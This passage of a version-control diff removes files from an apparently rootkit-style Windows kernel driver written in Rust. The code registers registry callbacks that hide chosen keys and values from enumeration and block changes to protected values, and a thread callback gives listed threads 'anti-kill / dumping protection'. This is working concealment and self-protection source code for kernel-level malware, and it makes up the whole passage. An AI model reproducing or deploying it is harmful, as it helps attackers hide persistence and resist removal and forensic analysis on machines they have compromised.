Some(pre_info) => pre_info,
|
||||
None => return STATUS_SUCCESS,
|
||||
};
|
||||
|
||||
let mut key_handle = null_mut();
|
||||
let status = ObOpenObjectByPointer(
|
||||
(*info).Object,
|
||||
OBJ_KERNEL_HANDLE,
|
||||
null_mut(),
|
||||
KEY_ALL_ACCESS,
|
||||
*CmKeyObjectType,
|
||||
KernelMode as i8,
|
||||
&mut key_handle
|
||||
);
|
||||
|
||||
if !NT_SUCCESS(status) {
|
||||
error!("ObOpenObjectByPointer Failed With Status: {status}");
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
let buffer = match PoolMemory::new(POOL_FLAG_NON_PAGED, (*pre_info).Length as u64, u32::from_be_bytes(*b"jdrf")) {
|
||||
Some(mem) => mem.ptr as *mut u8,
|
||||
None => {
|
||||
error!("PoolMemory (Enumerate Key) Failed");
|
||||
ZwClose(key_handle);
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
};
|
||||
|
||||
let mut result_length = 0;
|
||||
let mut counter = 0;
|
||||
|
||||
while let Some(key_name) = enumerate_key(
|
||||
key_handle,
|
||||
pre_info.Index + counter,
|
||||
buffer,
|
||||
(*pre_info).Length,
|
||||
(*pre_info).KeyInformationClass,
|
||||
&mut result_length
|
||||
) {
|
||||
if !Registry::check_key(format!("{key}\\{key_name}"), HIDE_KEYS.lock()) {
|
||||
if let Some(pre_info_key_info) = (pre_info.KeyInformation as *mut c_void).as_mut() {
|
||||
*(*pre_info).ResultLength = result_length;
|
||||
core::ptr::copy_nonoverlapping(buffer, pre_info_key_info as *mut _ as *mut u8, result_length as usize);
|
||||
break;
|
||||
} else {
|
||||
error!("Failed to copy key information.");
|
||||
break;
|
||||
}
|
||||
|
||||
} else {
|
||||
counter += 1;
|
||||
}
|
||||
}
|
||||
|
||||
ZwClose(key_handle);
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
|
||||
/// Handles the pre-query key operation.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `info` - A pointer to `REG_QUERY_KEY_INFORMATION`.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * A status code indicating success or failure.
|
||||
unsafe fn pre_query_key(info: *mut REG_QUERY_KEY_INFORMATION) -> NTSTATUS {
|
||||
let status;
|
||||
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
let key = match read_key(info) {
|
||||
Ok(key) => key,
|
||||
Err(err) => return err
|
||||
};
|
||||
|
||||
status = if Registry::check_key(key.clone(), HIDE_KEYS.lock()) {
|
||||
STATUS_SUCCESS
|
||||
} else {
|
||||
STATUS_SUCCESS
|
||||
};
|
||||
|
||||
status
|
||||
}
|
||||
|
||||
/// Handles the pre-delete value key operation.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `info` - A pointer to `REG_DELETE_VALUE_KEY_INFORMATION`.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * A status code indicating success or failure.
|
||||
unsafe fn pre_delete_value_key(info: *mut REG_DELETE_VALUE_KEY_INFORMATION) -> NTSTATUS {
|
||||
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
let key = match read_key(info) {
|
||||
Ok(key) => key,
|
||||
Err(err) => return err
|
||||
};
|
||||
|
||||
let value_name = (*info).ValueName;
|
||||
if (*info).ValueName.is_null() || (*value_name).Buffer.is_null() || (*value_name).Length == 0 || !valid_kernel_memory((*value_name).Buffer as u64) {
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
let buffer = core::slice::from_raw_parts((*value_name).Buffer, ((*value_name).Length / 2) as usize);
|
||||
let name = String::from_utf16_lossy(buffer);
|
||||
if Registry::<(String, String)>::check_target(key.clone(), name.clone(), PROTECTION_KEY_VALUES.lock()) {
|
||||
STATUS_ACCESS_DENIED
|
||||
} else {
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
}
|
||||
|
||||
/// Handles the pre-set value key operation.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `info` - A pointer to `REG_SET_VALUE_KEY_INFORMATION`.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * A status code indicating success or failure.
|
||||
unsafe fn pre_set_value_key(info: *mut REG_SET_VALUE_KEY_INFORMATION) -> NTSTATUS {
|
||||
if info.is_null() || (*info).Object.is_null() || !valid_kernel_memory((*info).Object as u64) {
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
let key = match read_key(info) {
|
||||
Ok(key) => key,
|
||||
Err(err) => return err
|
||||
};
|
||||
|
||||
let value_name = (*info).ValueName;
|
||||
if (*info).ValueName.is_null() || (*value_name).Buffer.is_null() || (*value_name).Length == 0 || !valid_kernel_memory((*value_name).Buffer as u64) {
|
||||
return STATUS_SUCCESS;
|
||||
}
|
||||
|
||||
let buffer = core::slice::from_raw_parts((*value_name).Buffer,((*value_name).Length / 2) as usize);
|
||||
let name = String::from_utf16_lossy(buffer);
|
||||
if Registry::check_target(key.clone(), name.clone(), PROTECTION_KEY_VALUES.lock()) {
|
||||
STATUS_ACCESS_DENIED
|
||||
} else {
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
}
|
||||
|
||||
/// Reads the key name from the registry information.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `info` - A pointer to the registry information.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * `Ok(String)` - The key name.
|
||||
/// * `Err(NTSTATUS)` - error status.
|
||||
unsafe fn read_key<T: RegistryInfo>(info: *mut T) -> Result<String, NTSTATUS> {
|
||||
let mut reg_path: PCUNICODE_STRING = core::ptr::null_mut();
|
||||
let status = CmCallbackGetKeyObjectIDEx(
|
||||
core::ptr::addr_of_mut!(CALLBACK_REGISTRY),
|
||||
(*info).get_object(),
|
||||
null_mut(),
|
||||
&mut reg_path,
|
||||
0
|
||||
);
|
||||
|
||||
if !NT_SUCCESS(status) {
|
||||
return Err(STATUS_SUCCESS)
|
||||
}
|
||||
|
||||
if reg_path.is_null() || (*reg_path).Buffer.is_null() || (*reg_path).Length == 0 || !valid_kernel_memory((*reg_path).Buffer as u64) {
|
||||
CmCallbackReleaseKeyObjectIDEx(reg_path);
|
||||
return Err(STATUS_SUCCESS);
|
||||
}
|
||||
|
||||
let buffer = core::slice::from_raw_parts((*reg_path).Buffer, ((*reg_path).Length / 2) as usize);
|
||||
let name = String::from_utf16_lossy(buffer);
|
||||
|
||||
CmCallbackReleaseKeyObjectIDEx(reg_path);
|
||||
|
||||
Ok(name)
|
||||
}
|
||||
@@ -1,265 +0,0 @@
|
||||
use {
|
||||
utils::Type,
|
||||
core::marker::PhantomData,
|
||||
common::structs::TargetRegistry,
|
||||
spin::{
|
||||
lazy::Lazy,
|
||||
Mutex, MutexGuard
|
||||
},
|
||||
alloc::{
|
||||
vec::Vec,
|
||||
string::{String, ToString}
|
||||
},
|
||||
wdk_sys::{
|
||||
NTSTATUS, STATUS_DUPLICATE_OBJECTID,
|
||||
STATUS_SUCCESS, STATUS_UNSUCCESSFUL
|
||||
}
|
||||
};
|
||||
|
||||
pub mod callback;
|
||||
pub mod utils;
|
||||
|
||||
const MAX_REGISTRY: usize = 100;
|
||||
|
||||
/// List of protection key-value pairs.
|
||||
///
|
||||
/// This list stores key-value pairs that are protected.
|
||||
/// It is guarded by a mutex to ensure thread-safe access.
|
||||
pub static PROTECTION_KEY_VALUES: Lazy<Mutex<Vec<(String, String)>>> = Lazy::new(||
|
||||
Mutex::new(Vec::with_capacity(MAX_REGISTRY))
|
||||
);
|
||||
|
||||
/// List of protection keys.
|
||||
///
|
||||
/// This list stores keys that are protected. It is guarded by a mutex to ensure thread-safe access.
|
||||
static PROTECTION_KEYS: Lazy<Mutex<Vec<String>>> = Lazy::new(||
|
||||
Mutex::new(Vec::with_capacity(MAX_REGISTRY))
|
||||
);
|
||||
|
||||
/// List of hidden keys.
|
||||
///
|
||||
/// This list stores keys that have been hidden. It is protected by a mutex for thread-safe operations.
|
||||
static HIDE_KEYS: Lazy<Mutex<Vec<String>>> = Lazy::new(||
|
||||
Mutex::new(Vec::with_capacity(MAX_REGISTRY))
|
||||
);
|
||||
|
||||
/// List of hidden key-value pairs.
|
||||
///
|
||||
/// This list stores key-value pairs that have been hidden. It is protected by a mutex for thread-safe operations.
|
||||
static HIDE_KEY_VALUES: Lazy<Mutex<Vec<(String, String)>>> = Lazy::new(||
|
||||
Mutex::new(Vec::with_capacity(MAX_REGISTRY))
|
||||
);
|
||||
|
||||
/// Trait defining common operations for registry lists.
|
||||
///
|
||||
/// This trait provides methods for adding, removing, and checking items in registry lists.
|
||||
trait RegistryList<T> {
|
||||
/// Adds an item to the registry list.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `list` - A mutable reference to the list.
|
||||
/// * `item` - The item to be added.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * Status code indicating success (`STATUS_SUCCESS`), duplicate (`STATUS_DUPLICATE_OBJECTID`),
|
||||
/// or failure (`STATUS_UNSUCCESSFUL`).
|
||||
fn add_item(list: &mut Vec<T>, item: T) -> NTSTATUS;
|
||||
|
||||
/// Removes an item from the registry list.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `list` - A mutable reference to the list.
|
||||
/// * `item` - The item to be removed.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`).
|
||||
fn remove_item(list: &mut Vec<T>, item: &T) -> NTSTATUS;
|
||||
|
||||
/// Checks if an item is in the registry list.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `list` - A reference to the list.
|
||||
/// * `item` - The item to be checked.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * Returns `true` if the item is in the list, `false` otherwise.
|
||||
fn contains_item(list: &Vec<T>, item: &T) -> bool;
|
||||
}
|
||||
|
||||
/// Implementation of `RegistryList` for key-value pairs.
|
||||
impl RegistryList<(String, String)> for Vec<(String, String)> {
|
||||
fn add_item(list: &mut Vec<(String, String)>, item: (String, String)) -> NTSTATUS {
|
||||
if list.len() >= MAX_REGISTRY {
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
if list.iter().any(|(k, v)| k == &item.0 && v == &item.1) {
|
||||
return STATUS_DUPLICATE_OBJECTID;
|
||||
}
|
||||
|
||||
list.push(item);
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
|
||||
fn remove_item(list: &mut Vec<(String, String)>, item: &(String, String)) -> NTSTATUS {
|
||||
if let Some(index) = list.iter().position(|(k, v)| k == &item.0 && v == &item.1) {
|
||||
list.remove(index);
|
||||
STATUS_SUCCESS
|
||||
} else {
|
||||
STATUS_UNSUCCESSFUL
|
||||
}
|
||||
}
|
||||
|
||||
fn contains_item(list: &Vec<(String, String)>, item: &(String, String)) -> bool {
|
||||
list.contains(item)
|
||||
}
|
||||
}
|
||||
|
||||
/// Implementation of `RegistryList` for strings.
|
||||
impl RegistryList<String> for Vec<String> {
|
||||
fn add_item(list: &mut Vec<String>, item: String) -> NTSTATUS {
|
||||
if list.len() >= MAX_REGISTRY {
|
||||
return STATUS_UNSUCCESSFUL;
|
||||
}
|
||||
|
||||
if list.contains(&item) {
|
||||
return STATUS_DUPLICATE_OBJECTID;
|
||||
}
|
||||
|
||||
list.push(item);
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
|
||||
fn remove_item(list: &mut Vec<String>, item: &String) -> NTSTATUS {
|
||||
if let Some(index) = list.iter().position(|k| k == item) {
|
||||
list.remove(index);
|
||||
STATUS_SUCCESS
|
||||
} else {
|
||||
STATUS_UNSUCCESSFUL
|
||||
}
|
||||
}
|
||||
|
||||
fn contains_item(list: &Vec<String>, item: &String) -> bool {
|
||||
list.contains(item)
|
||||
}
|
||||
}
|
||||
|
||||
/// Structure representing registry operations.
|
||||
///
|
||||
/// The `Registry<T>` structure handles operations for adding, removing, and checking keys or key-value pairs
|
||||
/// in the registry.
|
||||
pub struct Registry<T> {
|
||||
_marker: PhantomData<T>,
|
||||
}
|
||||
|
||||
impl Registry<(String, String)> {
|
||||
/// Adds or removes a key-value pair from the list of protected or hidden values.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `target` - A pointer to a `TargetRegistry` structure representing the key-value pair.
|
||||
/// * `type_` - An enum indicating whether to protect or hide the key-value pair.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`).
|
||||
pub fn modify_key_value(target: *mut TargetRegistry, type_: Type) -> NTSTATUS {
|
||||
let key = unsafe { (*target).key.clone() };
|
||||
let value = unsafe { (*target).value.clone() };
|
||||
let enable = unsafe { (*target).enable };
|
||||
|
||||
let status = match type_ {
|
||||
Type::Protect => {
|
||||
let mut list = PROTECTION_KEY_VALUES.lock();
|
||||
if enable {
|
||||
Vec::<(String, String)>::add_item(&mut list, (key, value))
|
||||
} else {
|
||||
Vec::<(String, String)>::remove_item(&mut list, &(key, value))
|
||||
}
|
||||
}
|
||||
Type::Hide => {
|
||||
let mut list = HIDE_KEY_VALUES.lock();
|
||||
if enable {
|
||||
Vec::<(String, String)>::add_item(&mut list, (key, value))
|
||||
} else {
|
||||
Vec::<(String, String)>::remove_item(&mut list, &(key, value))
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
status
|
||||
}
|
||||
|
||||
/// Checks if a key-value pair exists in the list of protected values.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `key` - The key to check.
|
||||
/// * `value` - The value to check.
|
||||
/// * `list` - A guard that provides access to the list.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * Returns `true` if the key-value pair exists in the list, or `false` otherwise.
|
||||
pub fn check_target(key: String, value: String, list: MutexGuard<Vec<(String, String)>>) -> bool {
|
||||
Vec::<(String, String)>::contains_item(&list, &(key, value))
|
||||
}
|
||||
}
|
||||
|
||||
impl Registry<String> {
|
||||
/// Adds or removes a key from the list of protected or hidden keys.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `target` - A pointer to a `TargetRegistry` structure representing the key.
|
||||
/// * `list_type` - An enum indicating whether to protect or hide the key.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * Status code indicating success (`STATUS_SUCCESS`) or failure (`STATUS_UNSUCCESSFUL`).
|
||||
pub fn modify_key(target: *mut TargetRegistry, list_type: Type) -> NTSTATUS {
|
||||
let key = unsafe { &(*target).key }.to_string();
|
||||
let enable = unsafe { (*target).enable };
|
||||
|
||||
let status = match list_type {
|
||||
Type::Protect => {
|
||||
let mut list = PROTECTION_KEYS.lock();
|
||||
if enable {
|
||||
Vec::add_item(&mut list, key)
|
||||
} else {
|
||||
Vec::remove_item(&mut list, &key)
|
||||
}
|
||||
}
|
||||
Type::Hide => {
|
||||
let mut list = HIDE_KEYS.lock();
|
||||
if enable {
|
||||
Vec::add_item(&mut list, key)
|
||||
} else {
|
||||
Vec::remove_item(&mut list, &key)
|
||||
}
|
||||
}
|
||||
};
|
||||
|
||||
status
|
||||
}
|
||||
|
||||
/// Checks if a key exists in the list of protected keys.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `key` - The key to check.
|
||||
/// * `list` - A guard that provides access to the list.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * Returns `true` if the key exists in the list, or `false` otherwise.
|
||||
pub fn check_key(key: String, list: MutexGuard<Vec<String>>) -> bool {
|
||||
Vec::contains_item(&list, &key)
|
||||
}
|
||||
}
|
||||
@@ -1,300 +0,0 @@
|
||||
#![allow(non_upper_case_globals)]
|
||||
|
||||
use {
|
||||
log::error,
|
||||
alloc::{format, string::String},
|
||||
core::{
|
||||
slice::from_raw_parts,
|
||||
ffi::c_void, mem::size_of,
|
||||
},
|
||||
wdk_sys::{
|
||||
*,
|
||||
ntddk::{ZwEnumerateKey, ZwEnumerateValueKey},
|
||||
_KEY_INFORMATION_CLASS::{
|
||||
KeyBasicInformation,
|
||||
KeyNameInformation
|
||||
},
|
||||
_KEY_VALUE_INFORMATION_CLASS::{
|
||||
KeyValueFullInformationAlign64,
|
||||
KeyValueBasicInformation,
|
||||
KeyValueFullInformation,
|
||||
},
|
||||
},
|
||||
};
|
||||
|
||||
use super::{Registry, HIDE_KEYS, HIDE_KEY_VALUES};
|
||||
|
||||
/// Checks if a specified registry key is present in the list of hidden keys.
|
||||
///
|
||||
/// This function checks if the provided registry key exists among the list of hidden keys, using
|
||||
/// the information from the registry operation.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `info` - Pointer to the operation information structure containing registry details.
|
||||
/// * `key` - The name of the registry key to be checked.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * Returns `true` if the key is found in the hidden keys list, otherwise returns `false`.
|
||||
pub unsafe fn check_key(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool {
|
||||
// Extracting pre-information from the registry operation
|
||||
let info_class = (*info).PreInformation as *mut REG_ENUMERATE_KEY_INFORMATION;
|
||||
|
||||
match (*info_class).KeyInformationClass {
|
||||
// Check for basic key information
|
||||
KeyBasicInformation => {
|
||||
let basic_information = (*info_class).KeyInformation as *mut KEY_BASIC_INFORMATION;
|
||||
let name = from_raw_parts((*basic_information).Name.as_ptr(),
|
||||
((*basic_information).NameLength / size_of::<u16>() as u32) as usize);
|
||||
|
||||
// Construct the full key path
|
||||
let key = format!("{key}\\{}", String::from_utf16_lossy(name));
|
||||
if Registry::check_key(key.clone(), HIDE_KEYS.lock()) {
|
||||
return true;
|
||||
}
|
||||
},
|
||||
// Check for key name information
|
||||
KeyNameInformation => {
|
||||
let basic_information = (*info_class).KeyInformation as *mut KEY_NAME_INFORMATION;
|
||||
let name = from_raw_parts((*basic_information).Name.as_ptr(),
|
||||
((*basic_information).NameLength / size_of::<u16>() as u32) as usize);
|
||||
|
||||
// Construct the full key path
|
||||
let key = format!("{key}\\{}", String::from_utf16_lossy(name));
|
||||
if Registry::check_key(key.clone(), HIDE_KEYS.lock()) {
|
||||
return true;
|
||||
}
|
||||
},
|
||||
_ => {}
|
||||
}
|
||||
|
||||
false
|
||||
}
|
||||
|
||||
/// Checks if a specified registry key-value pair is present in the list of hidden key-values.
|
||||
///
|
||||
/// This function checks if the provided registry key-value pair exists among the list of hidden key-values,
|
||||
/// using information from the registry value operation.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `info` - Pointer to the operation information structure containing registry value details.
|
||||
/// * `key` - The name of the registry key associated with the value to be checked.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * Returns `true` if the key-value pair is found in the hidden key-values list, otherwise returns `false`.
|
||||
pub unsafe fn check_key_value(info: *mut REG_POST_OPERATION_INFORMATION, key: String) -> bool {
|
||||
// Extracting pre-information from the registry operation
|
||||
let info_class = (*info).PreInformation as *const REG_ENUMERATE_VALUE_KEY_INFORMATION;
|
||||
|
||||
match (*info_class).KeyValueInformationClass {
|
||||
// Check for basic key value information
|
||||
KeyValueBasicInformation => {
|
||||
let value = (*info_class).KeyValueInformation as *const KEY_VALUE_BASIC_INFORMATION;
|
||||
let name = from_raw_parts((*value).Name.as_ptr(),
|
||||
((*value).NameLength / size_of::<u16>() as u32) as usize);
|
||||
let value = String::from_utf16_lossy(name);
|
||||
|
||||
if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) {
|
||||
return true;
|
||||
}
|
||||
},
|
||||
// Check for full key value information
|
||||
KeyValueFullInformationAlign64 | KeyValueFullInformation => {
|
||||
let value = (*info_class).KeyValueInformation as *const KEY_VALUE_FULL_INFORMATION;
|
||||
let name = from_raw_parts((*value).Name.as_ptr(),
|
||||
((*value).NameLength / size_of::<u16>() as u32) as usize);
|
||||
let value = String::from_utf16_lossy(name);
|
||||
|
||||
if Registry::check_target(key.clone(), value.clone(), HIDE_KEY_VALUES.lock()) {
|
||||
return true;
|
||||
}
|
||||
},
|
||||
_ => {}
|
||||
}
|
||||
|
||||
false
|
||||
}
|
||||
|
||||
/// Enumerates the specified registry key and retrieves its name.
|
||||
///
|
||||
/// This function enumerates the registry key based on the provided index and information class,
|
||||
/// returning the key name in the desired format.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `key_handle` - Handle of the target registry key.
|
||||
/// * `index` - The index to be enumerated.
|
||||
/// * `buffer` - Buffer that will store the registry key information.
|
||||
/// * `buffer_size` - Size of the buffer.
|
||||
/// * `key_information` - Type of information to retrieve about the target registry key.
|
||||
/// * `result_length` - Pointer to store the size of the result.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * Returns `Some(String)` containing the name of the registry key if successful,
|
||||
/// otherwise returns `None`.
|
||||
pub unsafe fn enumerate_key(
|
||||
key_handle: HANDLE,
|
||||
index: u32,
|
||||
buffer: *mut u8,
|
||||
buffer_size: u32,
|
||||
key_information: KEY_INFORMATION_CLASS,
|
||||
result_length: &mut u32
|
||||
) -> Option<String> {
|
||||
// Enumerate the registry key using ZwEnumerateKey
|
||||
let status = ZwEnumerateKey(
|
||||
key_handle,
|
||||
index,
|
||||
key_information,
|
||||
buffer as *mut c_void,
|
||||
buffer_size,
|
||||
result_length,
|
||||
);
|
||||
|
||||
// Check if there are no more entries
|
||||
if status == STATUS_NO_MORE_ENTRIES {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Check if the operation was successful
|
||||
if !NT_SUCCESS(status) {
|
||||
error!("ZwEnumerateKey Failed With Status: {status}");
|
||||
return None;
|
||||
}
|
||||
|
||||
// Process the key information based on the specified class
|
||||
match key_information {
|
||||
KeyBasicInformation => {
|
||||
let basic_information = &*(buffer as *const KEY_BASIC_INFORMATION);
|
||||
let name = from_raw_parts(
|
||||
(*basic_information).Name.as_ptr(),
|
||||
((*basic_information).NameLength / size_of::<u16>() as u32) as usize,
|
||||
);
|
||||
|
||||
Some(String::from_utf16_lossy(name))
|
||||
},
|
||||
KeyNameInformation => {
|
||||
let basic_information = &*(buffer as *const KEY_NAME_INFORMATION);
|
||||
let name = from_raw_parts(
|
||||
(*basic_information).Name.as_ptr(),
|
||||
((*basic_information).NameLength / size_of::<u16>() as u32) as usize,
|
||||
);
|
||||
Some(String::from_utf16_lossy(name))
|
||||
},
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Enumerates the values of the specified registry key.
|
||||
///
|
||||
/// This function enumerates the values of the registry key based on the provided index and information class,
|
||||
/// returning the value name in the desired format.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `key_handle` - Handle of the target registry key.
|
||||
/// * `index` - The index to be enumerated.
|
||||
/// * `buffer` - Buffer that will store the registry key values.
|
||||
/// * `buffer_size` - Size of the buffer.
|
||||
/// * `key_value_information` - Type of information to retrieve about the registry key value.
|
||||
/// * `result_length` - Pointer to store the size of the result.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * Returns `Some(String)` containing the name of the registry key value if successful,
|
||||
/// otherwise returns `None`.
|
||||
pub unsafe fn enumerate_value_key(
|
||||
key_handle: HANDLE,
|
||||
index: u32,
|
||||
buffer: *mut u8,
|
||||
buffer_size: u32,
|
||||
key_value_information: KEY_VALUE_INFORMATION_CLASS,
|
||||
result_length: &mut u32
|
||||
) -> Option<String> {
|
||||
// Enumerate the registry value using ZwEnumerateValueKey
|
||||
let status = ZwEnumerateValueKey(
|
||||
key_handle,
|
||||
index,
|
||||
key_value_information,
|
||||
buffer as *mut c_void,
|
||||
buffer_size,
|
||||
result_length,
|
||||
);
|
||||
|
||||
// Check if there are no more entries
|
||||
if status == STATUS_NO_MORE_ENTRIES {
|
||||
return None;
|
||||
}
|
||||
|
||||
// Check if the operation was successful
|
||||
if !NT_SUCCESS(status) {
|
||||
error!("ZwEnumerateValueKey Failed With Status: {status}");
|
||||
return None;
|
||||
}
|
||||
|
||||
// Process the key value information based on the specified class
|
||||
match key_value_information {
|
||||
KeyValueBasicInformation | KeyValueFullInformationAlign64 | KeyValueFullInformation => {
|
||||
let value_info = &*(buffer as *const KEY_VALUE_FULL_INFORMATION);
|
||||
let value_name_utf16: &[u16] = from_raw_parts(
|
||||
value_info.Name.as_ptr(),
|
||||
(value_info.NameLength / size_of::<u16>() as u32) as usize,
|
||||
);
|
||||
Some(String::from_utf16_lossy(value_name_utf16))
|
||||
},
|
||||
_ => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Trait for accessing the object in registry information.
|
||||
///
|
||||
/// This trait defines a method to retrieve a pointer to the registry object from different registry information structures.
|
||||
pub trait RegistryInfo {
|
||||
/// Retrieves a pointer to the registry object.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * A raw pointer to the registry object.
|
||||
fn get_object(&self) -> *mut c_void;
|
||||
}
|
||||
|
||||
impl RegistryInfo for REG_DELETE_KEY_INFORMATION {
|
||||
fn get_object(&self) -> *mut c_void {
|
||||
self.Object
|
||||
}
|
||||
}
|
||||
|
||||
impl RegistryInfo for REG_DELETE_VALUE_KEY_INFORMATION {
|
||||
fn get_object(&self) -> *mut c_void {
|
||||
self.Object
|
||||
}
|
||||
}
|
||||
|
||||
impl RegistryInfo for REG_SET_VALUE_KEY_INFORMATION {
|
||||
fn get_object(&self) -> *mut c_void {
|
||||
self.Object
|
||||
}
|
||||
}
|
||||
|
||||
impl RegistryInfo for REG_QUERY_KEY_INFORMATION {
|
||||
fn get_object(&self) -> *mut c_void {
|
||||
self.Object
|
||||
}
|
||||
}
|
||||
|
||||
impl RegistryInfo for REG_POST_OPERATION_INFORMATION {
|
||||
fn get_object(&self) -> *mut c_void {
|
||||
self.Object
|
||||
}
|
||||
}
|
||||
|
||||
/// Enum representing the types of operations to be done with the Registry.
|
||||
pub enum Type {
|
||||
/// Hides the specified key or key-value.
|
||||
Hide,
|
||||
/// Protects the specified key or key-value from being modified.
|
||||
Protect,
|
||||
}
|
||||
@@ -1,125 +0,0 @@
|
||||
use {
|
||||
alloc::vec::Vec,
|
||||
spin::{lazy::Lazy, Mutex},
|
||||
common::structs::TargetThread,
|
||||
wdk_sys::{
|
||||
*,
|
||||
ntddk::PsGetThreadId,
|
||||
_OB_PREOP_CALLBACK_STATUS::{
|
||||
Type, OB_PREOP_SUCCESS
|
||||
},
|
||||
}
|
||||
};
|
||||
|
||||
pub struct ThreadCallback;
|
||||
|
||||
const MAX_TID: usize = 100;
|
||||
|
||||
/// Handle for the thread callback registration.
|
||||
pub static mut CALLBACK_REGISTRATION_HANDLE_THREAD: *mut core::ffi::c_void = core::ptr::null_mut();
|
||||
|
||||
/// List of the target TIDs
|
||||
static TARGET_TIDS: Lazy<Mutex<Vec<usize>>> = Lazy::new(||
|
||||
Mutex::new(Vec::with_capacity(MAX_TID))
|
||||
);
|
||||
|
||||
impl ThreadCallback {
|
||||
/// Method for adding the list of threads that will have anti-kill / dumping protection.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `tid` - The identifier of the target process (tid) to be hidden.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * A status code indicating the success or failure of the operation.
|
||||
pub fn add_target_tid(tid: usize) -> NTSTATUS {
|
||||
let mut tids = TARGET_TIDS.lock();
|
||||
|
||||
if tids.len() >= MAX_TID {
|
||||
return STATUS_QUOTA_EXCEEDED;
|
||||
}
|
||||
|
||||
if tids.contains(&tid) {
|
||||
return STATUS_DUPLICATE_OBJECTID;
|
||||
}
|
||||
|
||||
tids.push(tid);
|
||||
|
||||
STATUS_SUCCESS
|
||||
}
|
||||
|
||||
/// Method for removing the list of threads that will have anti-kill / dumping protection.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `tid` - The identifier of the target process (tid) to be hidden.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * A status code indicating the success or failure of the operation.
|
||||
pub fn remove_target_tid(tid: usize) -> NTSTATUS {
|
||||
let mut tids = TARGET_TIDS.lock();
|
||||
|
||||
if let Some(index) = tids.iter().position(|&x| x == tid) {
|
||||
tids.remove(index);
|
||||
STATUS_SUCCESS
|
||||
} else {
|
||||
STATUS_UNSUCCESSFUL
|
||||
}
|
||||
}
|
||||
|
||||
/// Enumerate threads Protect.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `info_process` - It is a parameter of type `Infothreads` that will send the threads that are currently protected.
|
||||
/// * `information` - It is a parameter of type `usize` that will be updated with the total size of the filled `Infothreads` structures.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * A status code indicating success or failure of the operation.
|
||||
pub unsafe fn enumerate_protection_thread() -> Vec<TargetThread> {
|
||||
let mut threads: Vec<TargetThread> = Vec::new();
|
||||
let thread_info = TARGET_TIDS.lock();
|
||||
for i in thread_info.iter() {
|
||||
threads.push(TargetThread {
|
||||
tid: *i,
|
||||
..Default::default()
|
||||
});
|
||||
}
|
||||
|
||||
threads
|
||||
}
|
||||
|
||||
/// Pre-operation callback for thread opening that modifies the desired access rights to prevent certain actions on specific threads.
|
||||
///
|
||||
/// # Arguments
|
||||
///
|
||||
/// * `_registration_context` - A pointer to the registration context (unused).
|
||||
/// * `info` - A pointer to the `OB_PRE_OPERATION_INFORMATION` structure containing information about the operation.
|
||||
///
|
||||
/// # Returns
|
||||
///
|
||||
/// * A status code indicating the success of the pre-operation.
|
||||
pub unsafe extern "C" fn on_pre_open_thread(
|
||||
